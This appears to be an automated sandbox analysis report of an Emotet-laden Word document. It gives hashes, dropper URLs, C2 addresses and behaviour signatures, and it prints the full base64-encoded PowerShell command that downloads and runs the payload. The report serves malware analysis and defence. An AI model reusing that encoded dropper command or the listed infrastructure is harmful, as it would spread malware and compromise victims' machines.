Analysis
-
max time kernel
117s -
max time network
153s -
platform
windows7_x64 -
resource
win7 -
submitted
31-07-2020 11:48
General
-
Target
FILE-2020.doc
-
Size
175KB
-
MD5
56ab9ac3130bd66459fda70446ffa3e6
-
SHA1
ea46947eb8b33a8e135bc8e171027dee5800d5b2
-
SHA256
a3067b8e4a9a978df100c40ffc83927994928d08bd48b59b55789e1626a67e7e
-
SHA512
dafa8be16543a0cb8811652646df1a4bf943c437de03619b76d4ac3d3c573aa1e1b19eeb50be950b07f05d53881b51c7b82206aa815f07cc51dfc9731cdd3f7c
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://rikotut.net/rikotut4/vka_spx_tlz/
exe.dropper
http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/
exe.dropper
http://rivcon.net/images/ze1_r8_3jdpf63/
exe.dropper
http://rollingturtle.com/music/isef_vmr_p/
exe.dropper
http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/
Extracted
Family
emotet
C2
47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
rsa_pubkey.plain
Signatures
-
Modifies registry class 280 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Drops file in System32 directory 2 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE-2020.doc"1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\174.exeC:\Users\Admin\174.exe1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING\iasads.exe"C:\Windows\SysWOW64\PING\iasads.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\174.exe
-
C:\Users\Admin\174.exe
-
C:\Windows\SysWOW64\PING\iasads.exe
-
memory/1340-11-0x00000000003B0000-0x00000000003BC000-memory.dmpFilesize
48KB
-
memory/1496-5-0x000000000AE50000-0x000000000AE54000-memory.dmpFilesize
16KB
-
memory/1496-7-0x0000000006E00000-0x0000000007000000-memory.dmpFilesize
2.0MB
-
memory/1496-8-0x0000000006E00000-0x0000000007000000-memory.dmpFilesize
2.0MB
-
memory/1496-6-0x000000000BED0000-0x000000000BED4000-memory.dmpFilesize
16KB
-
memory/1496-2-0x00000000089E0000-0x00000000089E4000-memory.dmpFilesize
16KB
-
memory/1496-4-0x0000000006E00000-0x0000000007000000-memory.dmpFilesize
2.0MB
-
memory/1496-3-0x0000000006E00000-0x0000000007000000-memory.dmpFilesize
2.0MB
-
memory/1632-12-0x0000000000000000-mapping.dmp
-
memory/1632-14-0x0000000000330000-0x000000000033C000-memory.dmpFilesize
48KB